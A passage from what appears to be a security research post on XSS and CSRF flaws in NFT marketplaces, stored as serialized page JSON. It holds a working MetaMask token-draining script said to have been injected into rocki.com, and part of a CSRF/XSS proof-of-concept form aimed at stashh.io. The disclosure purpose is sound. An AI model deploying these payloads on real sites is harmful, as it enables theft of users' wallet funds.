account.",{"type":24,"tag":25,"props":31059,"children":31060},{},[31061],{"type":24,"tag":2510,"props":31062,"children":31064},{"alt":7,"src":31063},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":24,"tag":25,"props":31066,"children":31067},{},[31068],{"type":29,"value":31069},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":24,"tag":1818,"props":31071,"children":31073},{"id":31072},"wheres-my-wallet",[31074],{"type":29,"value":31075},"Where's My Wallet",{"type":24,"tag":25,"props":31077,"children":31078},{},[31079],{"type":29,"value":31080},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":24,"tag":25,"props":31082,"children":31083},{},[31084],{"type":29,"value":31085},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":24,"tag":25,"props":31087,"children":31088},{},[31089],{"type":29,"value":31090},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":24,"tag":25,"props":31092,"children":31093},{},[31094],{"type":29,"value":31095},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":24,"tag":31097,"props":31098,"children":31100},"div",{"style":31099},"display:flex; align-items:center; flex-direction:column;",[31101],{"type":24,"tag":2510,"props":31102,"children":31106},{"src":31103,"alt":31104,"style":31105},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":24,"tag":25,"props":31108,"children":31109},{},[31110],{"type":29,"value":31111},"And here we can find the code used to achieve it :",{"type":24,"tag":73,"props":31113,"children":31115},{"className":77,"code":31114,"language":76,"meta":7,"style":7},"function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n",[31116],{"type":24,"tag":32,"props":31117,"children":31118},{"__ignoreMap":7},[31119,31136,31177,31206,31221,31283,31316,31341,31366,31373,31393,31401,31417,31429,31437,31454,31471,31479,31486,31502,31518,31525,31533,31550,31562,31569,31584,31600,31607,31614,31631,31638,31646,31653,31699,31706,31770,31777,31797,31813,31829,31850,31921,31937,31944,31951,31989,31996,32003,32010,32017,32038],{"type":24,"tag":83,"props":31120,"children":31121},{"class":85,"line":86},[31122,31127,31132],{"type":24,"tag":83,"props":31123,"children":31124},{"style":90},[31125],{"type":29,"value":31126},"function",{"type":24,"tag":83,"props":31128,"children":31129},{"style":101},[31130],{"type":29,"value":31131}," request",{"type":24,"tag":83,"props":31133,"children":31134},{"style":107},[31135],{"type":29,"value":110},{"type":24,"tag":83,"props":31137,"children":31138},{"class":85,"line":113},[31139,31143,31147,31152,31156,31160,31164,31168,31173],{"type":24,"tag":83,"props":31140,"children":31141},{"style":117},[31142],{"type":29,"value":672},{"type":24,"tag":83,"props":31144,"children":31145},{"style":107},[31146],{"type":29,"value":223},{"type":24,"tag":83,"props":31148,"children":31149},{"style":90},[31150],{"type":29,"value":31151},"typeof",{"type":24,"tag":83,"props":31153,"children":31154},{"style":137},[31155],{"type":29,"value":156},{"type":24,"tag":83,"props":31157,"children":31158},{"style":107},[31159],{"type":29,"value":161},{"type":24,"tag":83,"props":31161,"children":31162},{"style":137},[31163],{"type":29,"value":166},{"type":24,"tag":83,"props":31165,"children":31166},{"style":143},[31167],{"type":29,"value":877},{"type":24,"tag":83,"props":31169,"children":31170},{"style":187},[31171],{"type":29,"value":31172}," 'undefined'",{"type":24,"tag":83,"props":31174,"children":31175},{"style":107},[31176],{"type":29,"value":253},{"type":24,"tag":83,"props":31178,"children":31179},{"class":85,"line":128},[31180,31185,31189,31193,31197,31202],{"type":24,"tag":83,"props":31181,"children":31182},{"style":137},[31183],{"type":29,"value":31184},"    console",{"type":24,"tag":83,"props":31186,"children":31187},{"style":107},[31188],{"type":29,"value":161},{"type":24,"tag":83,"props":31190,"children":31191},{"style":101},[31192],{"type":29,"value":14606},{"type":24,"tag":83,"props":31194,"children":31195},{"style":107},[31196],{"type":29,"value":558},{"type":24,"tag":83,"props":31198,"children":31199},{"style":187},[31200],{"type":29,"value":31201},"'Please install MetaMask to use this feature.'",{"type":24,"tag":83,"props":31203,"children":31204},{"style":107},[31205],{"type":29,"value":581},{"type":24,"tag":83,"props":31207,"children":31208},{"class":85,"line":183},[31209,31213,31217],{"type":24,"tag":83,"props":31210,"children":31211},{"style":107},[31212],{"type":29,"value":755},{"type":24,"tag":83,"props":31214,"children":31215},{"style":117},[31216],{"type":29,"value":378},{"type":24,"tag":83,"props":31218,"children":31219},{"style":107},[31220],{"type":29,"value":125},{"type":24,"tag":83,"props":31222,"children":31223},{"class":85,"line":203},[31224,31229,31233,31237,31242,31247,31252,31257,31262,31267,31271,31275,31279],{"type":24,"tag":83,"props":31225,"children":31226},{"style":137},[31227],{"type":29,"value":31228},"    ethereum",{"type":24,"tag":83,"props":31230,"children":31231},{"style":107},[31232],{"type":29,"value":161},{"type":24,"tag":83,"props":31234,"children":31235},{"style":101},[31236],{"type":29,"value":175},{"type":24,"tag":83,"props":31238,"children":31239},{"style":107},[31240],{"type":29,"value":31241},"({ ",{"type":24,"tag":83,"props":31243,"children":31244},{"style":137},[31245],{"type":29,"value":31246},"method:",{"type":24,"tag":83,"props":31248,"children":31249},{"style":187},[31250],{"type":29,"value":31251}," 'eth_requestAccounts'",{"type":24,"tag":83,"props":31253,"children":31254},{"style":107},[31255],{"type":29,"value":31256}," }).",{"type":24,"tag":83,"props":31258,"children":31259},{"style":101},[31260],{"type":29,"value":31261},"then",{"type":24,"tag":83,"props":31263,"children":31264},{"style":107},[31265],{"type":29,"value":31266},"((",{"type":24,"tag":83,"props":31268,"children":31269},{"style":137},[31270],{"type":29,"value":14418},{"type":24,"tag":83,"props":31272,"children":31273},{"style":107},[31274],{"type":29,"value":633},{"type":24,"tag":83,"props":31276,"children":31277},{"style":90},[31278],{"type":29,"value":14564},{"type":24,"tag":83,"props":31280,"children":31281},{"style":107},[31282],{"type":29,"value":125},{"type":24,"tag":83,"props":31284,"children":31285},{"class":85,"line":212},[31286,31290,31295,31299,31304,31308,31312],{"type":24,"tag":83,"props":31287,"children":31288},{"style":90},[31289],{"type":29,"value":1587},{"type":24,"tag":83,"props":31291,"children":31292},{"style":137},[31293],{"type":29,"value":31294}," fromAddress",{"type":24,"tag":83,"props":31296,"children":31297},{"style":143},[31298],{"type":29,"value":146},{"type":24,"tag":83,"props":31300,"children":31301},{"style":137},[31302],{"type":29,"value":31303}," accounts",{"type":24,"tag":83,"props":31305,"children":31306},{"style":107},[31307],{"type":29,"value":1161},{"type":24,"tag":83,"props":31309,"children":31310},{"style":245},[31311],{"type":29,"value":1166},{"type":24,"tag":83,"props":31313,"children":31314},{"style":107},[31315],{"type":29,"value":1515},{"type":24,"tag":83,"props":31317,"children":31318},{"class":85,"line":256},[31319,31323,31328,31332,31337],{"type":24,"tag":83,"props":31320,"children":31321},{"style":90},[31322],{"type":29,"value":1587},{"type":24,"tag":83,"props":31324,"children":31325},{"style":137},[31326],{"type":29,"value":31327}," attackerAddress",{"type":24,"tag":83,"props":31329,"children":31330},{"style":143},[31331],{"type":29,"value":146},{"type":24,"tag":83,"props":31333,"children":31334},{"style":187},[31335],{"type":29,"value":31336}," '0x0000000000000000000000000000000000000000'",{"type":24,"tag":83,"props":31338,"children":31339},{"style":107},[31340],{"type":29,"value":321},{"type":24,"tag":83,"props":31342,"children":31343},{"class":85,"line":270},[31344,31348,31353,31357,31362],{"type":24,"tag":83,"props":31345,"children":31346},{"style":90},[31347],{"type":29,"value":1587},{"type":24,"tag":83,"props":31349,"children":31350},{"style":137},[31351],{"type":29,"value":31352}," contractAddress",{"type":24,"tag":83,"props":31354,"children":31355},{"style":143},[31356],{"type":29,"value":146},{"type":24,"tag":83,"props":31358,"children":31359},{"style":187},[31360],{"type":29,"value":31361}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":24,"tag":83,"props":31363,"children":31364},{"style":107},[31365],{"type":29,"value":321},{"type":24,"tag":83,"props":31367,"children":31368},{"class":85,"line":302},[31369],{"type":24,"tag":83,"props":31370,"children":31371},{"emptyLinePlaceholder":16},[31372],{"type":29,"value":3422},{"type":24,"tag":83,"props":31374,"children":31375},{"class":85,"line":324},[31376,31380,31385,31389],{"type":24,"tag":83,"props":31377,"children":31378},{"style":90},[31379],{"type":29,"value":1481},{"type":24,"tag":83,"props":31381,"children":31382},{"style":137},[31383],{"type":29,"value":31384}," tokenAbi",{"type":24,"tag":83,"props":31386,"children":31387},{"style":143},[31388],{"type":29,"value":146},{"type":24,"tag":83,"props":31390,"children":31391},{"style":107},[31392],{"type":29,"value":25370},{"type":24,"tag":83,"props":31394,"children":31395},{"class":85,"line":345},[31396],{"type":24,"tag":83,"props":31397,"children":31398},{"style":107},[31399],{"type":29,"value":31400},"        {\n",{"type":24,"tag":83,"props":31402,"children":31403},{"class":85,"line":358},[31404,31409,31413],{"type":24,"tag":83,"props":31405,"children":31406},{"style":137},[31407],{"type":29,"value":31408},"          constant:",{"type":24,"tag":83,"props":31410,"children":31411},{"style":90},[31412],{"type":29,"value":8803},{"type":24,"tag":83,"props":31414,"children":31415},{"style":107},[31416],{"type":29,"value":989},{"type":24,"tag":83,"props":31418,"children":31419},{"class":85,"line":367},[31420,31425],{"type":24,"tag":83,"props":31421,"children":31422},{"style":137},[31423],{"type":29,"value":31424},"          inputs:",{"type":24,"tag":83,"props":31426,"children":31427},{"style":107},[31428],{"type":29,"value":25370},{"type":24,"tag":83,"props":31430,"children":31431},{"class":85,"line":406},[31432],{"type":24,"tag":83,"props":31433,"children":31434},{"style":107},[31435],{"type":29,"value":31436},"            {\n",{"type":24,"tag":83,"props":31438,"children":31439},{"class":85,"line":427},[31440,31445,31450],{"type":24,"tag":83,"props":31441,"children":31442},{"style":137},[31443],{"type":29,"value":31444},"              name:",{"type":24,"tag":83,"props":31446,"children":31447},{"style":187},[31448],{"type":29,"value":31449}," '_to'",{"type":24,"tag":83,"props":31451,"children":31452},{"style":107},[31453],{"type":29,"value":989},{"type":24,"tag":83,"props":31455,"children":31456},{"class":85,"line":440},[31457,31462,31467],{"type":24,"tag":83,"props":31458,"children":31459},{"style":137},[31460],{"type":29,"value":31461},"              type:",{"type":24,"tag":83,"props":31463,"children":31464},{"style":187},[31465],{"type":29,"value":31466}," 'address'",{"type":24,"tag":83,"props":31468,"children":31469},{"style":107},[31470],{"type":29,"value":989},{"type":24,"tag":83,"props":31472,"children":31473},{"class":85,"line":449},[31474],{"type":24,"tag":83,"props":31475,"children":31476},{"style":107},[31477],{"type":29,"value":31478},"            },\n",{"type":24,"tag":83,"props":31480,"children":31481},{"class":85,"line":458},[31482],{"type":24,"tag":83,"props":31483,"children":31484},{"style":107},[31485],{"type":29,"value":31436},{"type":24,"tag":83,"props":31487,"children":31488},{"class":85,"line":1065},[31489,31493,31498],{"type":24,"tag":83,"props":31490,"children":31491},{"style":137},[31492],{"type":29,"value":31444},{"type":24,"tag":83,"props":31494,"children":31495},{"style":187},[31496],{"type":29,"value":31497}," '_value'",{"type":24,"tag":83,"props":31499,"children":31500},{"style":107},[31501],{"type":29,"value":989},{"type":24,"tag":83,"props":31503,"children":31504},{"class":85,"line":1668},[31505,31509,31514],{"type":24,"tag":83,"props":31506,"children":31507},{"style":137},[31508],{"type":29,"value":31461},{"type":24,"tag":83,"props":31510,"children":31511},{"style":187},[31512],{"type":29,"value":31513}," 'uint256'",{"type":24,"tag":83,"props":31515,"children":31516},{"style":107},[31517],{"type":29,"value":989},{"type":24,"tag":83,"props":31519,"children":31520},{"class":85,"line":1713},[31521],{"type":24,"tag":83,"props":31522,"children":31523},{"style":107},[31524],{"type":29,"value":31478},{"type":24,"tag":83,"props":31526,"children":31527},{"class":85,"line":1730},[31528],{"type":24,"tag":83,"props":31529,"children":31530},{"style":107},[31531],{"type":29,"value":31532},"          ],\n",{"type":24,"tag":83,"props":31534,"children":31535},{"class":85,"line":1770},[31536,31541,31546],{"type":24,"tag":83,"props":31537,"children":31538},{"style":137},[31539],{"type":29,"value":31540},"          name:",{"type":24,"tag":83,"props":31542,"children":31543},{"style":187},[31544],{"type":29,"value":31545}," 'transfer'",{"type":24,"tag":83,"props":31547,"children":31548},{"style":107},[31549],{"type":29,"value":989},{"type":24,"tag":83,"props":31551,"children":31552},{"class":85,"line":1778},[31553,31558],{"type":24,"tag":83,"props":31554,"children":31555},{"style":137},[31556],{"type":29,"value":31557},"          outputs:",{"type":24,"tag":83,"props":31559,"children":31560},{"style":107},[31561],{"type":29,"value":25370},{"type":24,"tag":83,"props":31563,"children":31564},{"class":85,"line":1803},[31565],{"type":24,"tag":83,"props":31566,"children":31567},{"style":107},[31568],{"type":29,"value":31436},{"type":24,"tag":83,"props":31570,"children":31571},{"class":85,"line":1811},[31572,31576,31580],{"type":24,"tag":83,"props":31573,"children":31574},{"style":137},[31575],{"type":29,"value":31444},{"type":24,"tag":83,"props":31577,"children":31578},{"style":187},[31579],{"type":29,"value":643},{"type":24,"tag":83,"props":31581,"children":31582},{"style":107},[31583],{"type":29,"value":989},{"type":24,"tag":83,"props":31585,"children":31586},{"class":85,"line":8792},[31587,31591,31596],{"type":24,"tag":83,"props":31588,"children":31589},{"style":137},[31590],{"type":29,"value":31461},{"type":24,"tag":83,"props":31592,"children":31593},{"style":187},[31594],{"type":29,"value":31595}," 'bool'",{"type":24,"tag":83,"props":31597,"children":31598},{"style":107},[31599],{"type":29,"value":989},{"type":24,"tag":83,"props":31601,"children":31602},{"class":85,"line":8810},[31603],{"type":24,"tag":83,"props":31604,"children":31605},{"style":107},[31606],{"type":29,"value":31478},{"type":24,"tag":83,"props":31608,"children":31609},{"class":85,"line":8855},[31610],{"type":24,"tag":83,"props":31611,"children":31612},{"style":107},[31613],{"type":29,"value":31532},{"type":24,"tag":83,"props":31615,"children":31616},{"class":85,"line":8961},[31617,31622,31627],{"type":24,"tag":83,"props":31618,"children":31619},{"style":137},[31620],{"type":29,"value":31621},"          type:",{"type":24,"tag":83,"props":31623,"children":31624},{"style":187},[31625],{"type":29,"value":31626}," 'function'",{"type":24,"tag":83,"props":31628,"children":31629},{"style":107},[31630],{"type":29,"value":989},{"type":24,"tag":83,"props":31632,"children":31633},{"class":85,"line":23248},[31634],{"type":24,"tag":83,"props":31635,"children":31636},{"style":107},[31637],{"type":29,"value":25124},{"type":24,"tag":83,"props":31639,"children":31640},{"class":85,"line":23283},[31641],{"type":24,"tag":83,"props":31642,"children":31643},{"style":107},[31644],{"type":29,"value":31645},"      ];\n",{"type":24,"tag":83,"props":31647,"children":31648},{"class":85,"line":23291},[31649],{"type":24,"tag":83,"props":31650,"children":31651},{"emptyLinePlaceholder":16},[31652],{"type":29,"value":3422},{"type":24,"tag":83,"props":31654,"children":31655},{"class":85,"line":23299},[31656,31660,31665,31669,31673,31678,31682,31687,31691,31695],{"type":24,"tag":83,"props":31657,"children":31658},{"style":90},[31659],{"type":29,"value":1587},{"type":24,"tag":83,"props":31661,"children":31662},{"style":137},[31663],{"type":29,"value":31664}," web3",{"type":24,"tag":83,"props":31666,"children":31667},{"style":143},[31668],{"type":29,"value":146},{"type":24,"tag":83,"props":31670,"children":31671},{"style":90},[31672],{"type":29,"value":944},{"type":24,"tag":83,"props":31674,"children":31675},{"style":101},[31676],{"type":29,"value":31677}," Web3",{"type":24,"tag":83,"props":31679,"children":31680},{"style":107},[31681],{"type":29,"value":558},{"type":24,"tag":83,"props":31683,"children":31684},{"style":137},[31685],{"type":29,"value":31686},"window",{"type":24,"tag":83,"props":31688,"children":31689},{"style":107},[31690],{"type":29,"value":161},{"type":24,"tag":83,"props":31692,"children":31693},{"style":137},[31694],{"type":29,"value":166},{"type":24,"tag":83,"props":31696,"children":31697},{"style":107},[31698],{"type":29,"value":581},{"type":24,"tag":83,"props":31700,"children":31701},{"class":85,"line":23308},[31702],{"type":24,"tag":83,"props":31703,"children":31704},{"emptyLinePlaceholder":16},[31705],{"type":29,"value":3422},{"type":24,"tag":83,"props":31707,"children":31708},{"class":85,"line":23350},[31709,31713,31718,31722,31726,31730,31734,31739,31743,31748,31752,31757,31761,31766],{"type":24,"tag":83,"props":31710,"children":31711},{"style":90},[31712],{"type":29,"value":1587},{"type":24,"tag":83,"props":31714,"children":31715},{"style":137},[31716],{"type":29,"value":31717}," tokenContract",{"type":24,"tag":83,"props":31719,"children":31720},{"style":143},[31721],{"type":29,"value":146},{"type":24,"tag":83,"props":31723,"children":31724},{"style":90},[31725],{"type":29,"value":944},{"type":24,"tag":83,"props":31727,"children":31728},{"style":137},[31729],{"type":29,"value":31664},{"type":24,"tag":83,"props":31731,"children":31732},{"style":107},[31733],{"type":29,"value":161},{"type":24,"tag":83,"props":31735,"children":31736},{"style":137},[31737],{"type":29,"value":31738},"eth",{"type":24,"tag":83,"props":31740,"children":31741},{"style":107},[31742],{"type":29,"value":161},{"type":24,"tag":83,"props":31744,"children":31745},{"style":101},[31746],{"type":29,"value":31747},"Contract",{"type":24,"tag":83,"props":31749,"children":31750},{"style":107},[31751],{"type":29,"value":558},{"type":24,"tag":83,"props":31753,"children":31754},{"style":137},[31755],{"type":29,"value":31756},"tokenAbi",{"type":24,"tag":83,"props":31758,"children":31759},{"style":107},[31760],{"type":29,"value":568},{"type":24,"tag":83,"props":31762,"children":31763},{"style":137},[31764],{"type":29,"value":31765},"contractAddress",{"type":24,"tag":83,"props":31767,"children":31768},{"style":107},[31769],{"type":29,"value":581},{"type":24,"tag":83,"props":31771,"children":31772},{"class":85,"line":23383},[31773],{"type":24,"tag":83,"props":31774,"children":31775},{"emptyLinePlaceholder":16},[31776],{"type":29,"value":3422},{"type":24,"tag":83,"props":31778,"children":31779},{"class":85,"line":23391},[31780,31784,31789,31793],{"type":24,"tag":83,"props":31781,"children":31782},{"style":90},[31783],{"type":29,"value":1587},{"type":24,"tag":83,"props":31785,"children":31786},{"style":137},[31787],{"type":29,"value":31788}," transactionObject",{"type":24,"tag":83,"props":31790,"children":31791},{"style":143},[31792],{"type":29,"value":146},{"type":24,"tag":83,"props":31794,"children":31795},{"style":107},[31796],{"type":29,"value":125},{"type":24,"tag":83,"props":31798,"children":31799},{"class":85,"line":23399},[31800,31805,31809],{"type":24,"tag":83,"props":31801,"children":31802},{"style":137},[31803],{"type":29,"value":31804},"        from:",{"type":24,"tag":83,"props":31806,"children":31807},{"style":137},[31808],{"type":29,"value":31294},{"type":24,"tag":83,"props":31810,"children":31811},{"style":107},[31812],{"type":29,"value":989},{"type":24,"tag":83,"props":31814,"children":31815},{"class":85,"line":23408},[31816,31821,31825],{"type":24,"tag":83,"props":31817,"children":31818},{"style":137},[31819],{"type":29,"value":31820},"        to:",{"type":24,"tag":83,"props":31822,"children":31823},{"style":137},[31824],{"type":29,"value":31352},{"type":24,"tag":83,"props":31826,"children":31827},{"style":107},[31828],{"type":29,"value":989},{"type":24,"tag":83,"props":31830,"children":31831},{"class":85,"line":23484},[31832,31837,31841,31845],{"type":24,"tag":83,"props":31833,"children":31834},{"style":137},[31835],{"type":29,"value":31836},"        data:",{"type":24,"tag":83,"props":31838,"children":31839},{"style":137},[31840],{"type":29,"value":31717},{"type":24,"tag":83,"props":31842,"children":31843},{"style":107},[31844],{"type":29,"value":161},{"type":24,"tag":83,"props":31846,"children":31847},{"style":137},[31848],{"type":29,"value":31849},"methods\n",{"type":24,"tag":83,"props":31851,"children":31852},{"class":85,"line":23517},[31853,31858,31863,31867,31872,31876,31881,31885,31890,31894,31899,31903,31908,31912,31917],{"type":24,"tag":83,"props":31854,"children":31855},{"style":107},[31856],{"type":29,"value":31857},"          .",{"type":24,"tag":83,"props":31859,"children":31860},{"style":101},[31861],{"type":29,"value":31862},"transfer",{"type":24,"tag":83,"props":31864,"children":31865},{"style":107},[31866],{"type":29,"value":558},{"type":24,"tag":83,"props":31868,"children":31869},{"style":137},[31870],{"type":29,"value":31871},"attackerAddress",{"type":24,"tag":83,"props":31873,"children":31874},{"style":107},[31875],{"type":29,"value":568},{"type":24,"tag":83,"props":31877,"children":31878},{"style":137},[31879],{"type":29,"value":31880},"web3",{"type":24,"tag":83,"props":31882,"children":31883},{"style":107},[31884],{"type":29,"value":161},{"type":24,"tag":83,"props":31886,"children":31887},{"style":137},[31888],{"type":29,"value":31889},"utils",{"type":24,"tag":83,"props":31891,"children":31892},{"style":107},[31893],{"type":29,"value":161},{"type":24,"tag":83,"props":31895,"children":31896},{"style":101},[31897],{"type":29,"value":31898},"toWei",{"type":24,"tag":83,"props":31900,"children":31901},{"style":107},[31902],{"type":29,"value":558},{"type":24,"tag":83,"props":31904,"children":31905},{"style":187},[31906],{"type":29,"value":31907},"'100000000'",{"type":24,"tag":83,"props":31909,"children":31910},{"style":107},[31911],{"type":29,"value":568},{"type":24,"tag":83,"props":31913,"children":31914},{"style":187},[31915],{"type":29,"value":31916},"'ether'",{"type":24,"tag":83,"props":31918,"children":31919},{"style":107},[31920],{"type":29,"value":19452},{"type":24,"tag":83,"props":31922,"children":31923},{"class":85,"line":23525},[31924,31928,31933],{"type":24,"tag":83,"props":31925,"children":31926},{"style":107},[31927],{"type":29,"value":31857},{"type":24,"tag":83,"props":31929,"children":31930},{"style":101},[31931],{"type":29,"value":31932},"encodeABI",{"type":24,"tag":83,"props":31934,"children":31935},{"style":107},[31936],{"type":29,"value":3236},{"type":24,"tag":83,"props":31938,"children":31939},{"class":85,"line":23533},[31940],{"type":24,"tag":83,"props":31941,"children":31942},{"style":107},[31943],{"type":29,"value":8665},{"type":24,"tag":83,"props":31945,"children":31946},{"class":85,"line":23570},[31947],{"type":24,"tag":83,"props":31948,"children":31949},{"emptyLinePlaceholder":16},[31950],{"type":29,"value":3422},{"type":24,"tag":83,"props":31952,"children":31953},{"class":85,"line":23583},[31954,31959,31963,31967,31971,31976,31980,31985],{"type":24,"tag":83,"props":31955,"children":31956},{"style":137},[31957],{"type":29,"value":31958},"      web3",{"type":24,"tag":83,"props":31960,"children":31961},{"style":107},[31962],{"type":29,"value":161},{"type":24,"tag":83,"props":31964,"children":31965},{"style":137},[31966],{"type":29,"value":31738},{"type":24,"tag":83,"props":31968,"children":31969},{"style":107},[31970],{"type":29,"value":161},{"type":24,"tag":83,"props":31972,"children":31973},{"style":101},[31974],{"type":29,"value":31975},"sendTransaction",{"type":24,"tag":83,"props":31977,"children":31978},{"style":107},[31979],{"type":29,"value":558},{"type":24,"tag":83,"props":31981,"children":31982},{"style":137},[31983],{"type":29,"value":31984},"transactionObject",{"type":24,"tag":83,"props":31986,"children":31987},{"style":107},[31988],{"type":29,"value":581},{"type":24,"tag":83,"props":31990,"children":31991},{"class":85,"line":23596},[31992],{"type":24,"tag":83,"props":31993,"children":31994},{"style":107},[31995],{"type":29,"value":209},{"type":24,"tag":83,"props":31997,"children":31998},{"class":85,"line":23609},[31999],{"type":24,"tag":83,"props":32000,"children":32001},{"style":107},[32002],{"type":29,"value":455},{"type":24,"tag":83,"props":32004,"children":32005},{"class":85,"line":23663},[32006],{"type":24,"tag":83,"props":32007,"children":32008},{"style":107},[32009],{"type":29,"value":464},{"type":24,"tag":83,"props":32011,"children":32012},{"class":85,"line":23672},[32013],{"type":24,"tag":83,"props":32014,"children":32015},{"emptyLinePlaceholder":16},[32016],{"type":29,"value":3422},{"type":24,"tag":83,"props":32018,"children":32020},{"class":85,"line":32019},51,[32021,32025,32029,32034],{"type":24,"tag":83,"props":32022,"children":32023},{"style":90},[32024],{"type":29,"value":19223},{"type":24,"tag":83,"props":32026,"children":32027},{"style":107},[32028],{"type":29,"value":558},{"type":24,"tag":83,"props":32030,"children":32031},{"style":187},[32032],{"type":29,"value":32033},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":24,"tag":83,"props":32035,"children":32036},{"style":107},[32037],{"type":29,"value":581},{"type":24,"tag":83,"props":32039,"children":32041},{"class":85,"line":32040},52,[32042,32047,32051,32055,32059,32064],{"type":24,"tag":83,"props":32043,"children":32044},{"style":101},[32045],{"type":29,"value":32046},"setTimeout",{"type":24,"tag":83,"props":32048,"children":32049},{"style":107},[32050],{"type":29,"value":558},{"type":24,"tag":83,"props":32052,"children":32053},{"style":137},[32054],{"type":29,"value":175},{"type":24,"tag":83,"props":32056,"children":32057},{"style":107},[32058],{"type":29,"value":568},{"type":24,"tag":83,"props":32060,"children":32061},{"style":245},[32062],{"type":29,"value":32063},"1e3",{"type":24,"tag":83,"props":32065,"children":32066},{"style":107},[32067],{"type":29,"value":581},{"type":24,"tag":25,"props":32069,"children":32070},{},[32071,32076],{"type":24,"tag":2040,"props":32072,"children":32073},{},[32074],{"type":29,"value":32075},"CSRF & XSS",{"type":29,"value":32077},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":24,"tag":25,"props":32079,"children":32080},{},[32081,32083,32088],{"type":29,"value":32082},"Our attention was drawn to ",{"type":24,"tag":2033,"props":32084,"children":32086},{"href":31031,"rel":32085},[2037],[32087],{"type":29,"value":31035},{"type":29,"value":32089},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":24,"tag":25,"props":32091,"children":32092},{},[32093],{"type":24,"tag":2510,"props":32094,"children":32096},{"alt":7,"src":32095},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":24,"tag":25,"props":32098,"children":32099},{},[32100],{"type":29,"value":32101},"and here there is the code:",{"type":24,"tag":73,"props":32103,"children":32105},{"className":77,"code":32104,"language":76,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[32106],{"type":24,"tag":32,"props":32107,"children":32108},{"__ignoreMap":7},[32109,32126,32143,32177,32263,32320,32519,32560,32576,32592,32599,32614,32621,32633,32692,32699,32762,32791,32829,32836,32874,32887,32894,32909],{"type":24,"tag":83,"props":32110,"children":32111},{"class":85,"line":86},[32112,32117,32122],{"type":24,"tag":83,"props":32113,"children":32115},{"style":32114},"--shiki-default:#808080",[32116],{"type":29,"value":5552},{"type":24,"tag":83,"props":32118,"children":32119},{"style":90},[32120],{"type":29,"value":32121},"html",{"type":24,"tag":83,"props":32123,"children":32124},{"style":32114},[32125],{"type":29,"value":5738},{"type":24,"tag":83,"props":32127,"children":32128},{"class":85,"line":113},[32129,32134,32139],{"type":24,"tag":83,"props":32130,"children":32131},{"style":32114},[32132],{"type":29,"value":32133},"  \u003C",{"type":24,"tag":83,"props":32135,"children":32136},{"style":90},[32137],{"type":29,"value":32138},"body",{"type":24,"tag":83,"props":32140,"children":32141},{"style":32114},[32142],{"type":29,"value":5738},{"type":24,"tag":83,"props":32144,"children":32145},{"class":85,"line":128},[32146,32150,32155,32159,32164,32169,32173],{"type":24,"tag":83,"props":32147,"children":32148},{"style":32114},[32149],{"type":29,"value":32133},{"type":24,"tag":83,"props":32151,"children":32152},{"style":90},[32153],{"type":29,"value":32154},"script",{"type":24,"tag":83,"props":32156,"children":32157},{"style":32114},[32158],{"type":29,"value":10209},{"type":24,"tag":83,"props":32160,"children":32161},{"style":107},[32162],{"type":29,"value":32163},"history.pushState('', '', '/')",{"type":24,"tag":83,"props":32165,"children":32166},{"style":32114},[32167],{"type":29,"value":32168},"\u003C/",{"type":24,"tag":83,"props":32170,"children":32171},{"style":90},[32172],{"type":29,"value":32154},{"type":24,"tag":83,"props":32174,"children":32175},{"style":32114},[32176],{"type":29,"value":5738},{"type":24,"tag":83,"props":32178,"children":32179},{"class":85,"line":183},[32180,32185,32190,32195,32199,32204,32209,32213,32218,32222,32226,32231,32236,32240,32245,32250,32254,32259],{"type":24,"tag":83,"props":32181,"children":32182},{"style":32114},[32183],{"type":29,"value":32184},"    